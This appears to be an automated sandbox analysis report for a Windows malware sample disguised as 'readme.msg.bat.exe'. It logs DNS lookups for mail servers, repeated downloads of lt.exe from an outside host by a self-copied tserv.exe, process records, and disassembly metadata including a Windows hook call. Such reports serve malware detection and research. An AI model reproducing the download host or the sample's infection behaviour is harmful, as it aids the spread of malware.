Dec 22, 2024 12:15:22.162947893 CET	1.1.1.1	192.168.2.5	0x83d5	No error (0)	mta6.am0.yahoodns.net	67.195.228.110	A (IP address)	IN (0x0001)	false
Dec 22, 2024 12:15:22.162947893 CET	1.1.1.1	192.168.2.5	0x83d5	No error (0)	mta6.am0.yahoodns.net	67.195.228.106	A (IP address)	IN (0x0001)	false
Dec 22, 2024 12:15:22.162947893 CET	1.1.1.1	192.168.2.5	0x83d5	No error (0)	mta6.am0.yahoodns.net	67.195.204.77	A (IP address)	IN (0x0001)	false
Dec 22, 2024 12:15:22.463742018 CET	1.1.1.1	192.168.2.5	0x4703	No error (0)	mta7.am0.yahoodns.net	67.195.228.94	A (IP address)	IN (0x0001)	false
Dec 22, 2024 12:15:22.463742018 CET	1.1.1.1	192.168.2.5	0x4703	No error (0)	mta7.am0.yahoodns.net	67.195.204.74	A (IP address)	IN (0x0001)	false
Dec 22, 2024 12:15:22.463742018 CET	1.1.1.1	192.168.2.5	0x4703	No error (0)	mta7.am0.yahoodns.net	67.195.228.109	A (IP address)	IN (0x0001)	false
Dec 22, 2024 12:15:22.463742018 CET	1.1.1.1	192.168.2.5	0x4703	No error (0)	mta7.am0.yahoodns.net	67.195.204.79	A (IP address)	IN (0x0001)	false
Dec 22, 2024 12:15:22.463742018 CET	1.1.1.1	192.168.2.5	0x4703	No error (0)	mta7.am0.yahoodns.net	98.136.96.76	A (IP address)	IN (0x0001)	false
Dec 22, 2024 12:15:22.463742018 CET	1.1.1.1	192.168.2.5	0x4703	No error (0)	mta7.am0.yahoodns.net	98.136.96.75	A (IP address)	IN (0x0001)	false
Dec 22, 2024 12:15:22.463742018 CET	1.1.1.1	192.168.2.5	0x4703	No error (0)	mta7.am0.yahoodns.net	67.195.204.73	A (IP address)	IN (0x0001)	false
Dec 22, 2024 12:15:22.463742018 CET	1.1.1.1	192.168.2.5	0x4703	No error (0)	mta7.am0.yahoodns.net	67.195.228.106	A (IP address)	IN (0x0001)	false
Dec 22, 2024 12:15:22.758682013 CET	1.1.1.1	192.168.2.5	0xd7e8	No error (0)	mta5.am0.yahoodns.net	67.195.228.109	A (IP address)	IN (0x0001)	false
Dec 22, 2024 12:15:22.758682013 CET	1.1.1.1	192.168.2.5	0xd7e8	No error (0)	mta5.am0.yahoodns.net	98.136.96.76	A (IP address)	IN (0x0001)	false
Dec 22, 2024 12:15:22.758682013 CET	1.1.1.1	192.168.2.5	0xd7e8	No error (0)	mta5.am0.yahoodns.net	67.195.204.77	A (IP address)	IN (0x0001)	false
Dec 22, 2024 12:15:22.758682013 CET	1.1.1.1	192.168.2.5	0xd7e8	No error (0)	mta5.am0.yahoodns.net	98.136.96.91	A (IP address)	IN (0x0001)	false
Dec 22, 2024 12:15:22.758682013 CET	1.1.1.1	192.168.2.5	0xd7e8	No error (0)	mta5.am0.yahoodns.net	67.195.228.94	A (IP address)	IN (0x0001)	false
Dec 22, 2024 12:15:22.758682013 CET	1.1.1.1	192.168.2.5	0xd7e8	No error (0)	mta5.am0.yahoodns.net	98.136.96.77	A (IP address)	IN (0x0001)	false
Dec 22, 2024 12:15:22.758682013 CET	1.1.1.1	192.168.2.5	0xd7e8	No error (0)	mta5.am0.yahoodns.net	67.195.204.79	A (IP address)	IN (0x0001)	false
Dec 22, 2024 12:15:22.758682013 CET	1.1.1.1	192.168.2.5	0xd7e8	No error (0)	mta5.am0.yahoodns.net	98.136.96.74	A (IP address)	IN (0x0001)	false
Dec 22, 2024 12:16:25.951358080 CET	1.1.1.1	192.168.2.5	0xe2d7	No error (0)	gmail.com		MX (Mail exchange)	IN (0x0001)	false
Dec 22, 2024 12:16:25.951358080 CET	1.1.1.1	192.168.2.5	0xe2d7	No error (0)	gmail.com		MX (Mail exchange)	IN (0x0001)	false
Dec 22, 2024 12:16:25.951358080 CET	1.1.1.1	192.168.2.5	0xe2d7	No error (0)	gmail.com		MX (Mail exchange)	IN (0x0001)	false
Dec 22, 2024 12:16:25.951358080 CET	1.1.1.1	192.168.2.5	0xe2d7	No error (0)	gmail.com		MX (Mail exchange)	IN (0x0001)	false
Dec 22, 2024 12:16:25.951358080 CET	1.1.1.1	192.168.2.5	0xe2d7	No error (0)	gmail.com		MX (Mail exchange)	IN (0x0001)	false
Dec 22, 2024 12:16:26.090384960 CET	1.1.1.1	192.168.2.5	0xd1b5	No error (0)	alt1.gmail-smtp-in.l.google.com	142.250.157.26	A (IP address)	IN (0x0001)	false
Dec 22, 2024 12:16:26.353010893 CET	1.1.1.1	192.168.2.5	0x6a6	No error (0)	gmail-smtp-in.l.google.com	209.85.233.26	A (IP address)	IN (0x0001)	false
Dec 22, 2024 12:16:26.491511106 CET	1.1.1.1	192.168.2.5	0x8d65	No error (0)	alt2.gmail-smtp-in.l.google.com	173.194.202.26	A (IP address)	IN (0x0001)	false
Dec 22, 2024 12:16:26.629312038 CET	1.1.1.1	192.168.2.5	0xeb6b	No error (0)	alt3.gmail-smtp-in.l.google.com	142.250.141.26	A (IP address)	IN (0x0001)	false
Dec 22, 2024 12:16:26.768913031 CET	1.1.1.1	192.168.2.5	0x9bf9	No error (0)	alt4.gmail-smtp-in.l.google.com	192.178.128.26	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www4.cedesunjerinkas.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49707	193.166.255.171	80	5360	C:\Windows\tserv.exe

Timestamp	Bytes transferred	Direction	Data
Dec 22, 2024 12:15:22.281023026 CET	64	OUT	GET /chr/wtb/lt.exe HTTP/1.1 Host: www4.cedesunjerinkas.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49715	193.166.255.171	80	5360	C:\Windows\tserv.exe

Timestamp	Bytes transferred	Direction	Data
Dec 22, 2024 12:15:23.825850964 CET	64	OUT	GET /chr/wtb/lt.exe HTTP/1.1 Host: www4.cedesunjerinkas.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49765	193.166.255.171	80	6160	C:\Windows\tserv.exe

Timestamp	Bytes transferred	Direction	Data
Dec 22, 2024 12:15:44.613395929 CET	64	OUT	GET /chr/wtb/lt.exe HTTP/1.1 Host: www4.cedesunjerinkas.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49769	193.166.255.171	80	5360	C:\Windows\tserv.exe

Timestamp	Bytes transferred	Direction	Data
Dec 22, 2024 12:15:45.981487036 CET	64	OUT	GET /chr/wtb/lt.exe HTTP/1.1 Host: www4.cedesunjerinkas.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49820	193.166.255.171	80	6160	C:\Windows\tserv.exe

Timestamp	Bytes transferred	Direction	Data
Dec 22, 2024 12:16:06.762952089 CET	64	OUT	GET /chr/wtb/lt.exe HTTP/1.1 Host: www4.cedesunjerinkas.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49824	193.166.255.171	80	5360	C:\Windows\tserv.exe

Timestamp	Bytes transferred	Direction	Data
Dec 22, 2024 12:16:08.106287003 CET	64	OUT	GET /chr/wtb/lt.exe HTTP/1.1 Host: www4.cedesunjerinkas.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49874	193.166.255.171	80	6160	C:\Windows\tserv.exe

Timestamp	Bytes transferred	Direction	Data
Dec 22, 2024 12:16:28.891100883 CET	64	OUT	GET /chr/wtb/lt.exe HTTP/1.1 Host: www4.cedesunjerinkas.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49879	193.166.255.171	80	5360	C:\Windows\tserv.exe

Timestamp	Bytes transferred	Direction	Data
Dec 22, 2024 12:16:30.247175932 CET	64	OUT	GET /chr/wtb/lt.exe HTTP/1.1 Host: www4.cedesunjerinkas.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49928	193.166.255.171	80	6160	C:\Windows\tserv.exe

Timestamp	Bytes transferred	Direction	Data
Dec 22, 2024 12:16:51.046041012 CET	64	OUT	GET /chr/wtb/lt.exe HTTP/1.1 Host: www4.cedesunjerinkas.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49934	193.166.255.171	80	5360	C:\Windows\tserv.exe

Timestamp	Bytes transferred	Direction	Data
Dec 22, 2024 12:16:52.372380972 CET	64	OUT	GET /chr/wtb/lt.exe HTTP/1.1 Host: www4.cedesunjerinkas.com

Target ID:	0
Start time:	06:15:05
Start date:	22/12/2024
Path:	C:\Users\user\Desktop\readme.msg.bat.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\readme.msg.bat.exe"
Imagebase:	0x400000
File size:	648'151 bytes
MD5 hash:	99B66E501870CE033026D55DC5274AB0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	06:15:10
Start date:	22/12/2024
Path:	C:\Windows\tserv.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\tserv.exe s
Imagebase:	0x400000
File size:	648'151 bytes
MD5 hash:	99B66E501870CE033026D55DC5274AB0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 95%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	06:15:10
Start date:	22/12/2024
Path:	C:\Windows\SysWOW64\notepad.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\notepad.exe C:\Users\user\Desktop\A853.tmp
Imagebase:	0x4d0000
File size:	165'888 bytes
MD5 hash:	E92D3A824A0578A50D2DD81B5060145F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	06:15:31
Start date:	22/12/2024
Path:	C:\Windows\tserv.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\tserv.exe" s
Imagebase:	0x400000
File size:	648'151 bytes
MD5 hash:	99B66E501870CE033026D55DC5274AB0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	4.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	16%
Total number of Nodes:	2000
Total number of Limit Nodes:	46

Executed Functions

Function 004210D0 Relevance: 91.3, APIs: 7, Strings: 45, Instructions: 276
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

H, xrefs: 004211A0
^, xrefs: 004211B2
O, xrefs: 0042147D
v, xrefs: 00421473
*, xrefs: 0042115A
, xrefs: 004213BB
v, xrefs: 0042116E
M, xrefs: 0042126F
w(B, xrefs: 00421310
e, xrefs: 00421478
p, xrefs: 0042117D
G, xrefs: 0042121C
Z, xrefs: 00421187
A, xrefs: 0042145F
), xrefs: 0042112A
(, xrefs: 004212B0
t, xrefs: 00421469
6, xrefs: 00421368
, xrefs: 00421173
(, xrefs: 004211D8
i, xrefs: 0042146E
~, xrefs: 00421381
f, xrefs: 00421372
l, xrefs: 004211E6
P, xrefs: 00421482
S, xrefs: 00421125
&, xrefs: 004211AD
5, xrefs: 004213A3
{, xrefs: 004212C9
', xrefs: 004211D3
L, xrefs: 0042118C
N, xrefs: 00421139
c, xrefs: 00421464
0, xrefs: 00421178
`, xrefs: 00421274
#, xrefs: 00421196
8, xrefs: 0042137C
p, xrefs: 004212EC
i, xrefs: 00421169
q, xrefs: 004212E7
B, xrefs: 004212AB
q, xrefs: 00421395
F, xrefs: 00421213
T, xrefs: 0042110C
I, xrefs: 004211FA

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID:
String ID: $ $#$&$'$($($)$*$0$5$6$8$A$B$F$G$H$I$L$M$N$O$P$S$T$Z$^$`$c$e$f$i$i$l$p$p$q$q$t$v$v$w(B${$~
API String ID: 0-3106658521
Opcode ID: 7ffee0a367cd91da12548a0672ee88ef15d007f6f0e5a8efa2edde75e2af7312
Instruction ID: b9ab1dd3182530b11e39c15e962d93472a180878fd51d4fd0559e01a76d35aec
Opcode Fuzzy Hash: 7ffee0a367cd91da12548a0672ee88ef15d007f6f0e5a8efa2edde75e2af7312
Instruction Fuzzy Hash: 9EE1D32110D7C189D322DB7C945868FBFD05BA7228F581A9DF1E45B3E3C2A98249C76B

Function 00423260 Relevance: 56.0, APIs: 37, Instructions: 460
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0042329F
HeapAlloc.KERNEL32(00000000,00000008,00000014), ref: 004232B2
HeapAlloc.KERNEL32(00000000,00000008,00001000,00000000), ref: 004232DC
HeapFree.KERNEL32(00000000,00000000,?), ref: 004232EB

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: Heap$Alloc$FreeProcess
String ID:
API String ID: 4128259342-0
Opcode ID: 8f0c75df61baccf555039c07e55f9e7a4c47b3d129244f42066f45807613cd4b
Instruction ID: cabeeef3d48c1ccb1133837745078946395a36f2d94fb2f40b145150ed7ea3f1
Opcode Fuzzy Hash: 8f0c75df61baccf555039c07e55f9e7a4c47b3d129244f42066f45807613cd4b
Instruction Fuzzy Hash: 27F1BC70204354ABD310DF25DC41F6B7BE9EB89700F44492DF984DB290DBB9EA05CB6A

Function 0041F660 Relevance: 33.4, APIs: 3, Strings: 16, Instructions: 125
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(00000000), ref: 0041F7B9
GetProcAddress.KERNEL32(00000000,00000043), ref: 0041F7CF
SetWindowsHookExA.USER32(00000005,00000000,00000000,00000000), ref: 0041F7FC

Strings

P, xrefs: 0041F6F2
C, xrefs: 0041F6C0
c, xrefs: 0041F6D9
), xrefs: 0041F701
", xrefs: 0041F732
;, xrefs: 0041F768
A, xrefs: 0041F723
h, xrefs: 0041F72D
o, xrefs: 0041F6D4
r, xrefs: 0041F6CF
B, xrefs: 0041F6C5
', xrefs: 0041F763
S, xrefs: 0041F6FC
E, xrefs: 0041F715
N, xrefs: 0041F710
P, xrefs: 0041F6CA

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: AddressHookLibraryLoadProcWindows
String ID: "$'$)$;$A$B$C$E$N$P$P$S$c$h$o$r
API String ID: 2564493370-1035779198
Opcode ID: 00a429360f83fa20652cea882935d05cc92ee5958ea3b9dd59ca4227aa40c6aa
Instruction ID: d6bcc57e59aaaf67e7ff94e30ae49016207e17142ead068d2604868bf6eb43c5
Opcode Fuzzy Hash: 00a429360f83fa20652cea882935d05cc92ee5958ea3b9dd59ca4227aa40c6aa
Instruction Fuzzy Hash: D6514B2520C3C19AD311DB39984478BBFD15FA6318F484AADF0E9873D2D3A9C54AC76B

Function 00425D91 Relevance: 12.1, APIs: 8, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExA.KERNEL32(?,0042E598,00000060), ref: 00425DB1
GetModuleHandleA.KERNEL32(00000000,?,0042E598,00000060), ref: 00425E04
_fast_error_exit.LIBCMT ref: 00425E66
_fast_error_exit.LIBCMT ref: 00425E77
GetCommandLineA.KERNEL32(?,0042E598,00000060), ref: 00425E96
GetStartupInfoA.KERNEL32(?), ref: 00425EEA
__wincmdln.LIBCMT ref: 00425EF0
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00425F0D

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: HandleModule_fast_error_exit$CommandInfoLineStartupVersion__wincmdln
String ID:
API String ID: 3897392166-0
Opcode ID: 3b144cdf6a657c3d277f1513a7a37946c3bbd038f07daa96f711f80a89638c8d
Instruction ID: fff0b790c7a0d9b16c0474446a89fef60bd80b9f406c56c5ed212da1009f27c5
Opcode Fuzzy Hash: 3b144cdf6a657c3d277f1513a7a37946c3bbd038f07daa96f711f80a89638c8d
Instruction Fuzzy Hash: 8A41B470B40B30CBDB20AB76FC0566E76A0AF04714FA5443FF9149A291DB7D8942CB9D

Function 00420570 Relevance: 212.3, APIs: 14, Strings: 107, Instructions: 584
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

d, xrefs: 0042096D
a, xrefs: 004209BE
~, xrefs: 004208E3
&, xrefs: 004206C6
=, xrefs: 00420B52
N, xrefs: 00420626
r, xrefs: 00420A13
Q, xrefs: 00420B57
g, xrefs: 00420C8D
t, xrefs: 004209F0
#, xrefs: 00420A8D
f, xrefs: 00420864
~, xrefs: 0042087C
p, xrefs: 0042068E
^, xrefs: 004206B7
D, xrefs: 004206CB
;, xrefs: 004209CD
^c, xrefs: 00420751
o, xrefs: 00420A1D
b, xrefs: 00420724
v, xrefs: 00420E8A
, xrefs: 004206DF
p, xrefs: 00420B25
P, xrefs: 0042064E
}, xrefs: 00420C36
{, xrefs: 004209B4
S, xrefs: 00420606
^, xrefs: 00420B43
2, xrefs: 00420D7C
P, xrefs: 0042071A
c, xrefs: 00420E7B
^, xrefs: 00420B5C
, xrefs: 004209FA
(, xrefs: 00420D9C
>, xrefs: 00420D6C
r, xrefs: 00420B48
M, xrefs: 004207C8
z, xrefs: 004208A4
|, xrefs: 004205E6
g, xrefs: 004209C8
?, xrefs: 004207EB
T, xrefs: 004205C6
z, xrefs: 00420A92
s, xrefs: 00420B2F
, xrefs: 0042067E
1, xrefs: 0042091A
k, xrefs: 004207B4
5, xrefs: 00420C65
o, xrefs: 00420B4D
S, xrefs: 00420DB3
M, xrefs: 00420A88
%, xrefs: 00420BE6
e, xrefs: 00420E8F
h, xrefs: 00420DC3
`, xrefs: 004207CD
s|pd, xrefs: 0042094C
{, xrefs: 00420C4D
$, xrefs: 004206F7
S, xrefs: 00420E9E
P, xrefs: 004205F6
q, xrefs: 0042089C
r, xrefs: 004209D2
P, xrefs: 00420D4C
r, xrefs: 00420CE5
H, xrefs: 004206AD
\, xrefs: 004208AC
v, xrefs: 00420676
], xrefs: 00420CED
u, xrefs: 00420C1E
#, xrefs: 004206A3
|, xrefs: 00420B2A
m, xrefs: 004208B4
&, xrefs: 004206DA
d, xrefs: 00420B20
W, xrefs: 00420A49
0, xrefs: 00420686
8, xrefs: 00420874
T, xrefs: 00420CAD
8, xrefs: 00420A3F
&, xrefs: 00420BB7
R, xrefs: 00420BF6
s, xrefs: 004209FF
u, xrefs: 00420A09
i, xrefs: 00420B34
=, xrefs: 00420B3E
|, xrefs: 004205CE
?, xrefs: 00420CFD
), xrefs: 0042060E
7, xrefs: 004206FC
j, xrefs: 00420903
P, xrefs: 00420C9D
N, xrefs: 00420E94
i, xrefs: 0042066E
`, xrefs: 00420CC5
h, xrefs: 004209DC
$, xrefs: 00420D8C
N, xrefs: 004207E1
b, xrefs: 00420D05
I, xrefs: 00420E99
i, xrefs: 00420E85
*, xrefs: 00420656
c, xrefs: 00420A7E
/, xrefs: 00420C7D
~, xrefs: 00420B39
t, xrefs: 00420E80
N, xrefs: 00420B1B
', xrefs: 00420DBB

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID:
String ID: $ $ $#$#$$$$$%$&$&$&$'$($)$*$/$0$1$2$5$7$8$8$;$=$=$>$?$?$D$H$I$M$M$N$N$N$N$P$P$P$P$P$Q$R$S$S$S$T$T$W$\$]$^$^$^$^c$`$`$a$b$b$c$c$d$d$e$f$g$g$h$h$i$i$i$j$k$m$o$o$p$p$q$r$r$r$r$s$s$s|pd$t$t$u$u$v$v$z$z${${$|$|$|$}$~$~$~
API String ID: 0-2533205990
Opcode ID: e2622106f891706df351979d41e9d59cfc6c36af9e9f3dcf4f33d23ff2114f6b
Instruction ID: 40aa9fcbbacb4e662069c3f6a830727ea6aa88fb999cbe6da6f2476ebe5119cf
Opcode Fuzzy Hash: e2622106f891706df351979d41e9d59cfc6c36af9e9f3dcf4f33d23ff2114f6b
Instruction Fuzzy Hash: D962C32010D7C189D332C77C984879FBFD15BA7228F584A9DE1E85B2E3D2AA8149C767

Function 0041FD50 Relevance: 105.4, APIs: 9, Strings: 51, Instructions: 368
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000008,000000FF), ref: 00420217
HeapAlloc.KERNEL32(00000000), ref: 0042021E
RegOpenKeyExA.ADVAPI32(80000002,00000006,00000000,00000001,00000000), ref: 0042023E
GetLastError.KERNEL32 ref: 00420248
RegQueryValueExA.ADVAPI32(000000FF,00000000,00000000,00000000,00000000,?), ref: 00420286
GetLastError.KERNEL32 ref: 00420290
GetProcessHeap.KERNEL32(00000000,00000000,?,00431CCC,?,00431CCC,?,?,?,?,?,00000001), ref: 004203CA
HeapFree.KERNEL32(00000000,?,?,?,?,?,00000001), ref: 004203D1
RegCloseKey.ADVAPI32(?,?,?,?,?,?,00000001), ref: 004203DC

Strings

-, xrefs: 0041FFF5
{, xrefs: 00420126
A, xrefs: 004201D5
|, xrefs: 00420034
4, xrefs: 00420182
!, xrefs: 004200B3
y, xrefs: 0041FE0D
{, xrefs: 0041FDA0
i, xrefs: 004201E3
2, xrefs: 0041FDFA
S, xrefs: 004201F2
b, xrefs: 0041FEE6
3, xrefs: 0041FE6C
}, xrefs: 0041FF86
I, xrefs: 0041FE4E
e, xrefs: 004201ED
e, xrefs: 004200C2
S, xrefs: 0041FE2B
A, xrefs: 0041FE44
m, xrefs: 00420025
w, xrefs: 004200EF
, xrefs: 0041FFC6
v, xrefs: 0041FE35
(, xrefs: 0041FE95
C, xrefs: 0042013E
}, xrefs: 0041FE58
t, xrefs: 004201DE
g, xrefs: 0041FEFF
0, xrefs: 0041FDDC
u, xrefs: 0041FE9A
L, xrefs: 0041FE62
[, xrefs: 00420146
q, xrefs: 004200B8
p, xrefs: 0041FE49
:, xrefs: 0041FE7A
G, xrefs: 004201F7
a, xrefs: 00420173
:, xrefs: 0041FDA5
v, xrefs: 004201E8
z, xrefs: 0041FDD2
Y, xrefs: 0041FDAA
4, xrefs: 0041FDC3
$, xrefs: 0041FFB6
H, xrefs: 0042001D
h, xrefs: 0041FEEB
], xrefs: 0041FF37
,, xrefs: 0041FFCE
', xrefs: 0041FDBE
\, xrefs: 0041FE12
D, xrefs: 0041FF07
p, xrefs: 0041FFAE

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: Heap$ErrorLastProcess$AllocCloseFreeOpenQueryValue
String ID: $!$$$'$($,$-$0$2$3$4$4$:$:$A$A$C$D$G$H$I$L$S$S$Y$[$\$]$a$b$e$e$g$h$i$m$p$p$q$t$u$v$v$w$y$z${${$|$}$}
API String ID: 1434707997-4021543146
Opcode ID: 29d92220c5e11e6036931e209fc08ce3f9ddb880bb74b97bf96d4e468b4b4558
Instruction ID: 8a31240bc7adcf6ea3cc165c57d100c60a11fb3bc5011af5590440d63b5ba69d
Opcode Fuzzy Hash: 29d92220c5e11e6036931e209fc08ce3f9ddb880bb74b97bf96d4e468b4b4558
Instruction Fuzzy Hash: 6D12072110D7C1CDD332C779984879BBFD55BA7228F485A9DE1E84B2E3C3A98109C76B

Function 00420AC8 Relevance: 105.3, APIs: 14, Strings: 46, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

=, xrefs: 00420B52
P, xrefs: 00420D4C
r, xrefs: 00420CE5
P, xrefs: 00420C9D
(, xrefs: 00420D9C
Q, xrefs: 00420B57
N, xrefs: 00420E94
g, xrefs: 00420C8D
>, xrefs: 00420D6C
r, xrefs: 00420B48
`, xrefs: 00420CC5
$, xrefs: 00420D8C
], xrefs: 00420CED
u, xrefs: 00420C1E
|, xrefs: 00420B2A
s, xrefs: 00420B2F
b, xrefs: 00420D05
d, xrefs: 00420B20
5, xrefs: 00420C65
I, xrefs: 00420E99
i, xrefs: 00420E85
v, xrefs: 00420E8A
o, xrefs: 00420B4D
S, xrefs: 00420DB3
p, xrefs: 00420B25
%, xrefs: 00420BE6
/, xrefs: 00420C7D
T, xrefs: 00420CAD
&, xrefs: 00420BB7
R, xrefs: 00420BF6
}, xrefs: 00420C36
~, xrefs: 00420B39
^, xrefs: 00420B43
2, xrefs: 00420D7C
t, xrefs: 00420E80
e, xrefs: 00420E8F
N, xrefs: 00420B1B
h, xrefs: 00420DC3
c, xrefs: 00420E7B
i, xrefs: 00420B34
{, xrefs: 00420C4D
=, xrefs: 00420B3E
', xrefs: 00420DBB
S, xrefs: 00420E9E
^, xrefs: 00420B5C
?, xrefs: 00420CFD

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
